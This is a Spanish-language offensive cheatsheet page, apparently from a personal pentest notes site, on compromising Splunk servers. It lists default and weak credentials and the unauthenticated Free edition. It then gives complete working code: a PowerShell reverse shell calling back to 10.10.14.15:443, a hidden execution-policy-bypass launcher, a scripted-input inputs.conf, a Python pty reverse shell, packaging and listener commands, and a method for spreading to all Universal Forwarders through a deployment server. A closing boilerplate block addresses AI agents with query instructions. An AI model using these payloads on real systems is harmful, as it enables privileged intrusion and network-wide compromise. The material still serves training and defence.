> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/splunk.md).

# Splunk

## Discovery & Enumeration

**Splunk** es una herramienta de análisis de logs (recolectar, analizar, visualizar datos). Aunque no fue diseñada como SIEM, se usa para monitoreo de seguridad y analítica. Suele **alojar datos sensibles** → botín valioso si se compromete.

> Históricamente **pocas** vulnerabilidades explotables (info disclosure CVE-2018-11409, RCE autenticado muy antiguo CVE-2011-4642) y parchea rápido. El foco del ataque es la **autenticación débil o nula**, no los CVEs.

> Común en redes internas, corre a menudo como **root (Linux)** o **SYSTEM (Windows)**. Con acceso admin → desplegar apps custom → comprometer el server (y posiblemente otros hosts).

***

### 1. Discovery / Footprinting

| Puerto   | Servicio                    |
| -------- | --------------------------- |
| **8000** | Web server de Splunk.       |
| **8089** | Management port (REST API). |

#### Credenciales por defecto

| Versión  | Credenciales                                                                                |
| -------- | ------------------------------------------------------------------------------------------- |
| Antigua  | `admin:changeme` (mostradas en el login).                                                   |
| Reciente | Se fijan en la instalación → probar débiles: `admin`, `Welcome`, `Welcome1`, `Password123`. |

#### Nmap

```bash
sudo nmap -sV 10.129.201.50
# 8000/tcp open ssl/http Splunkd httpd
# 8089/tcp open ssl/http Splunkd httpd
```

***

### 2. Enumeración

#### El agujero de la versión Free

El trial de Splunk Enterprise se convierte a **Free tras 60 días** — y la Free **no requiere autenticación**.

> Escenario típico: un admin instala un trial para probar, lo olvida, se convierte a Free → agujero de seguridad. Algunas orgs eligen Free por presupuesto sin entender que **no hay gestión de usuarios/roles**.

#### Qué permite el acceso

Navegar datos, correr reportes, crear dashboards, instalar apps de **Splunkbase** e instalar **apps custom**.

#### Vías de ejecución de código

Splunk puede correr código de varias formas: apps Django server-side, REST endpoints, **scripted inputs**, y alerting scripts.

> **Scripted inputs** = la vía común a RCE. Diseñados para integrar Splunk con fuentes de datos vía scripts custom; ejecutan el script y toman su **STDOUT** como input.

| Ventaja                     | Detalle                                                                       |
| --------------------------- | ----------------------------------------------------------------------------- |
| Multiplataforma             | Bash/PowerShell/Batch según SO.                                               |
| **Python siempre presente** | Toda instalación de Splunk trae Python → scripts Python en cualquier sistema. |

> RCE rápido: crear un scripted input que ejecute un **reverse shell en Python** (siguiente sección).

> Splunk tiene \~47 CVEs (ej. una SSRF a la REST API), pero muchos no explotables. Por eso **abusar de la funcionalidad built-in** es lo clave.

***

### Resumen rápido

| Paso           | Método                                | Qué obtiene          |
| -------------- | ------------------------------------- | -------------------- |
| 1. Identificar | Nmap puertos 8000/8089                | Confirma Splunk.     |
| 2. Acceso      | Default/débil, o **Free sin auth**    | Entrada al panel.    |
| 3. RCE         | Scripted input (Python reverse shell) | Ejecución de código. |

> El vector no son los CVEs (pocos y parcheados rápido) sino **autenticación débil/nula** + **funcionalidad built-in** (scripted inputs). Corre como root/SYSTEM → foothold privilegiado. Python siempre disponible = reverse shell garantizado.

## Attacking

Con acceso admin (o Free sin auth), se logra RCE creando una **app custom** con un **scripted input** que ejecuta Python/Bash/PowerShell/Batch. Como Splunk trae Python, funciona en cualquier instancia; en Windows suele usarse PowerShell.

{% embed url="<https://github.com/0xjpuff/reverse_shell_splunk>" %}

> El objetivo de ejemplo es Windows → app custom con reverse shell PowerShell.

### 1. Estructura de la app maliciosa

```
splunk_shell/
├── bin/       → scripts a ejecutar (reverse shell)
└── default/   → inputs.conf
```

#### Reverse shell PowerShell (bin/run.ps1)

```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

#### inputs.conf (default/)

Le dice a Splunk qué script correr y cada cuánto:

```ini
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```

| Ajuste           | Descripción                                               |
| ---------------- | --------------------------------------------------------- |
| `disabled = 0`   | App habilitada.                                           |
| `interval = 10`  | Ejecuta el script cada 10 segundos (siempre en segundos). |
| `[script://...]` | Ruta del script a ejecutar.                               |

#### Launcher (bin/run.bat)

Ejecuta el one-liner PowerShell:

```bat
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
```

| Flag           | Descripción                                        |
| -------------- | -------------------------------------------------- |
| `-exec bypass` | Salta la política de ejecución.                    |
| `-w hidden`    | Ventana oculta.                                    |
| `%~dpn0.ps1`   | Ruta del `.ps1` con el mismo nombre que el `.bat`. |

### 2. Empaquetar y desplegar

Crear el tarball (`.spl` o `.tar.gz`):

```bash
tar -cvzf updater.tar.gz splunk_shell/
```

Levantar listener:

```bash
sudo nc -lnvp 443
```

En Splunk: **Apps → Install app from file** → subir el tarball.

> Al subirlo, la app se **habilita automáticamente** → reverse shell inmediata:

```
connect to [10.10.14.15] from ... 
PS C:\Windows\system32> whoami
nt authority\system
```

> Shell como **NT AUTHORITY\SYSTEM** → foothold privilegiado. Desde aquí: enumerar credenciales (registro, memoria, disco) para lateral movement, o empezar a enumerar el dominio AD.

### 3. Objetivo Linux

Editar `rev.py` antes de empaquetar; el resto igual:

```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```

### 4. Deployment Server → RCE masivo

Si el Splunk comprometido es un **deployment server**, se puede lograr RCE en **todos los hosts con Universal Forwarders**.

Colocar la app en:

```
$SPLUNK_HOME/etc/deployment-apps
```

> ⚠️ En entornos Windows, usar reverse shell **PowerShell** (no Python): los Universal Forwarders **no** instalan Python como el servidor Splunk.

### Resumen rápido

| Paso          | Acción                                                     |
| ------------- | ---------------------------------------------------------- |
| 1. Estructura | `bin/` (script) + `default/inputs.conf`.                   |
| 2. Payload    | PowerShell one-liner (Win) o `rev.py` (Linux).             |
| 3. Empaquetar | `tar -cvzf updater.tar.gz splunk_shell/`.                  |
| 4. Desplegar  | Install app from file → se habilita → shell.               |
| 5. Escalar    | Deployment server → RCE en todos los Universal Forwarders. |

> El scripted input es funcionalidad **legítima** convertida en RCE. Splunk corre como **SYSTEM/root** → foothold privilegiado. Un deployment server comprometido = RCE masivo (usar PowerShell en Windows, los forwarders no traen Python).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/splunk.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
